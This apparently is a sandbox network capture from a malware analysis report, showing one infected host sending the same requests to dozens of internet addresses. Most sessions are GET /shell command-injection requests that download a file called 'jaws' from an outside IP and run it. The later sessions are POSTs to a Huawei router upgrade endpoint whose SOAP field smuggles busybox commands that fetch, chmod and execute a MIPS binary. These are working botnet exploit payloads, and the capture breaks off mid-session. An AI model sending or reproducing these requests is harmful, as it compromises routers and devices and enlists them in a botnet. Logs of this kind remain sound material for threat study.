Dec 3, 2024 22:02:05.199572086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	55962	72.243.203.46	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.200119019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	60190	62.250.5.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.200619936 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	55850	223.56.226.226	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.201128006 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	50338	167.62.82.131	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.201632023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	60226	89.98.95.53	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.202141047 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	46742	212.188.14.62	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.202661991 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	33014	195.185.183.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.203169107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	58720	207.50.163.240	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.203686953 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	40904	48.32.166.226	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.204221010 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	43084	203.231.182.115	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.204751015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	38984	167.218.38.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.205288887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	51388	157.42.76.182	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.205787897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	33454	149.204.115.19	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.206302881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	54492	160.21.32.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.206823111 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	41500	133.133.165.240	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.207335949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	60328	120.27.40.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.207837105 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	33810	223.131.159.194	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.208340883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	55334	41.3.202.197	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.208861113 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	39376	150.169.126.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.209362984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	59690	69.234.220.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.209866047 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	45746	66.135.164.211	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.210370064 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	34708	83.66.176.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.210872889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	58604	199.144.196.39	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.211393118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	51406	44.122.74.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.211920977 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	58040	2.66.91.134	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.212419987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	56516	93.47.55.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.212923050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	46614	185.188.215.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.213442087 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	43712	5.247.37.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.214083910 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	37528	46.144.210.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.214612007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	44556	116.230.207.99	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.217798948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	52840	67.122.14.87	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.218420029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	56348	27.30.146.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.219067097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	44916	42.182.65.179	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.219611883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	53072	153.65.121.5	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.220139980 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	57248	64.28.171.0	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.220662117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	46952	85.122.192.250	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.221163034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	40786	124.187.170.176	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.221707106 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	55646	133.171.253.133	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:05.435987949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	38556	156.180.52.49	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.052795887 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	38806	156.72.185.93	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.053510904 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	33422	197.231.16.59	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.054141998 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	59866	41.153.253.195	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.054760933 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	47150	197.100.58.133	37215

Timestamp	Bytes transferred	Direction	Data
